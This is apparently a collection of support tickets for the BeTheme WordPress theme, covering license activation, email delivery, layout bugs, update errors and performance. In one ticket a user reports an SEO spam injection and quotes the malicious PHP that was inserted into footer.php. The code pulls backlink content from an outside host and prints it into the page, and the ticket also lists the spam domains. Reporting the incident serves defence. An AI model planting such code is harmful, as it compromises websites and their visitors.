I purchased a license key, but it's not working on my website. Could you please check my account?

When I check the license, this is the message I receive, even though I just purchased it.

There are no issues with any other plugins, I already deactivated unnecessary plugins.

Presently am working on my temporary domain, once we done with our website creation we will move to original domain.

Please resolve this issue asap. (I used Becustom plugin to change the title of the plugin etc, based on our requirement)

https://indigo-pheasant-830734.hostingersite.com/

We want to show multiple markers on a single map using a loop of dynamic data.

I'm using portfolio grid to shop a list of doctors with their speciality and contact information. I have also added a filter by category. My portfolio has 140 items (doctors).

Now I need to add a field to filter doctors by name. I'm not able to find an option of element to achieve that. Could you give guidelines to set this feature?

I'm sending an screenshot of what I have so far:

A SEO spam injection was identified on our WordPress sites where we use BeTheme. One is only one month old, only plugin is WP-rocket.

Multiple live pages contained a hidden backlink block directly before the closing </body> tag. The injected links pointed to external spam domains, including:

jiaoyu.dianzishu.com

digitalgurukul.in

topsalesconsulting.com/cazadores

pmx.com.pk

isris.org

The visible anchor texts included casino-related terms such as:

BANDAR SLOT

SLOT THAILAND

The source was found in the active WordPress theme file footer.php. A malicious PHP snippet had been inserted directly before </body>:

$ch = curl_init('https://bibitgroup.org/api/backlink?domain=' . urlencode($_SERVER['HTTP_HOST']));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_TIMEOUT, 3);

echo curl_exec($ch);

curl_close($ch);

This code dynamically fetched backlink content from bibitgroup.org and printed the response into the frontend HTML.

After removing the injected code and clearing the WordPress/WP Rocket cache, a follow-up live check showed that the known spam links were no longer present on the tested pages, including the homepage, /kontakt/, /arbeitsrecht/, /mietrecht/, and /impressum/.

A related SEO spam pattern was also observed on another page, including a suspicious AMP association in Google Search Console pointing to:

https://kcalculatorxbandarslot.vercel.app/

Any thoughts?

Best

Jannis

I need to activate *********-31cb8 for julietavenegas.net,

Can you help me please to validate it to use it?

May 12th, 2026

Regards

I have created a general contact form in Contact form 7 and it is sending the emails just fine, but they never arrive at my inbox. I get the success message that says "Your message was sent successfully. Thanks". And then the message shows up in Flamingo. However, it never arrives in my inbox. I am using both the form and the Mail 2 option with both set to use HTML content. The email that the form is sent to is a different one than the email that form 2 is sent to, so I don't think it's an issue with my email address because neither form is received (contact form or mail 2 form)

I have been using Contact Form 7 for over 10 years on a variety of hosts (although not on this particular one so I don't know if it's related to the host) and I have never had an issue with the email not sending. It always just works! Can you please point me in the right direction to solve this issue?

Thanks so much.

Debbie

Can you solve it for me?

In the header image, I have five elements below the slider that are linked to the corresponding section below via the hook #leistungen. 

I used the “Offer thumb” element, and that works perfectly fine for my first element at the top.

But when I click on the second item at the top (x2.), the image from the first offer appears again under “Leistungen.” I'd like to see the image from the second one, though. Like this:

It's exactly the same with the third item. When I click on x3. at the top, the screen jumps to “Leistungen” but shows the first offer again. It should look like this instead:

Is there a way for me to see the right offer right away under “Leistungen”?

Best regards

The main color of my theme is #901515. I'd like the button color in the contact form to be the same. Please tell me how I can change that.    

Best regards

I have just updated Betheme to version 28.4.1, and immediately after the update my website started showing the message:

"There has been a critical error on this website."

This happened right after the theme update. Before that, the website was working normally.

At the moment, the frontend shows only the critical error screen. Please advise what could cause this and what is the safest way to restore the website without losing any content or theme settings.

Website details:

- Theme version: 28.4.1

- WordPress version: [6.9.4]

- PHP version: [8.3.6]

- Child theme: [no]

- Active plugins: [Slider Revolution, WP Mail SMTP, Duplicate Page, Contact Form 7]

Please let me know:

1. whether this issue is already known in version 28.4.1,

2. whether I should temporarily roll back to the previous Betheme version,

3. and whether there is any recommended fix or patch.

Thank you.

The client's site suddenly changed; the Betheme logo and styles were no longer displaying correctly. I can't say for sure if this issue arose after an update. What could be causing the client's logo and the site's appearance to suddenly change?

I've now updated all plugins and the theme and upgraded the PHP version to the latest version, but unfortunately the content is still displaying incorrectly.

https://lpp.co.at

I use the plugin RnB - WooCommerce Booking & Rental. https://redq.io/rnb

This worked just fine, but after the last theme update i get an error message.

Strange thing is that the plugin still works.

I did some trouble shooting:

1 - disabled all plugins, did not work

2 - updated all plugins and theme, did not work

3 - change the theme to storefront and the message was gone.

So that made me think the issue is within the BeTheme. The error show on top of the page after a reservation. But the product is added to the cart and you can go to checkout. But visitors think because of the error message that the product is not availeble.

The message says: Sorry, this quantity is not available

What can i do?

Thanks!

Also when I try to login into WordPress to get access to to my site, I can't and if I want to update to the new version, doesn't allow me and in both cases show me this error message "Upload error: Unknown error"

Also if I do any change on any page of my site, and I want to save those changes, but it won't save them.

I need to solve this problem, so I appreciate any help.

Thanks

I bought two licence keys none of which is working on my website, could you please check my account ?

when i check the licence here's the message I got, although i just bought the licence.

Thank you

I notice that my betheme license key keeps getting deactivated, presumably because the english domain is licensed and the german domain gets flagged by your automated systems.

Is there any way to fix this and stop it from happening, as I notice parts of the bebuilder section import also report that the site is not licensed when trying to use pre-built sections.

I have enough licenses for my sites, I ended up buying 2 per site, just in case it was required, but need it to not continuously require re-authorisation and find a way to get import sections working from the other language also so I can edit pages easily.

Can i register two license keys on a single site to stop this from happening? one for each language?

The ENG is displayed right, but the ITALIAN isn't loading.

Please could you help me to solve it?

Many thanks.

Enrico

I will give you the login and pw to access (the site is undercostruction)

https://mondialprod.online

but today i found that it was breaking the muffin builder.

I disabled all plugins and the muffin builer worked.

i enabled them one at a time to find the WP Give the popular donations plugin broke the builder..

I had it setup to donate to trucks, the final amount will be given to some local charties,

vid https://youtu.be/KYHXa-et45Q

details for login to come

1) Menu item. On ipad, there's a + button for submenu but on desktop, there's none. Hence submenu is not working.

2) review element shows up and works on ipad but does not show up at all on desktop.

3) toggle menu works on iPad but not on desktop.

could you please check my site, happyearthfarm.org and advise accordingly? thank you.

I am trying to determine why. For now we replaced it with the word "and", but would prefer to go back to "&" if we can get it resolved.

As you can see in the screen shot the & shows fine in the breadcrumbs for the page we are on, but not if you are 1 level below.

I built my website using WordPress and Betheme:

https://zenkitchenremodel.com

When I test the site on Google PageSpeed Insights (mobile), I get a very low score (54).

Main issues reported:

• First Contentful Paint: 5.5s
• Largest Contentful Paint: 9.9s
• Speed Index: 10.4s
• Render-blocking resources
• Unused CSS and JavaScript
• Large LCP element

Desktop score is much better, but mobile performance is very poor.

I am currently using Betheme without heavy external plugins.

I would like to understand:

1. Are there recommended Betheme performance settings for mobile?
2. Should I enable CSS/JS minification inside Theme Options?
3. Is there a recommended cache plugin compatible with Betheme?
4. Does Betheme generate large unused CSS by default?
5. What is the best way to optimize LCP when using Betheme?

I can provide access if needed.

Thank you in advance for your help.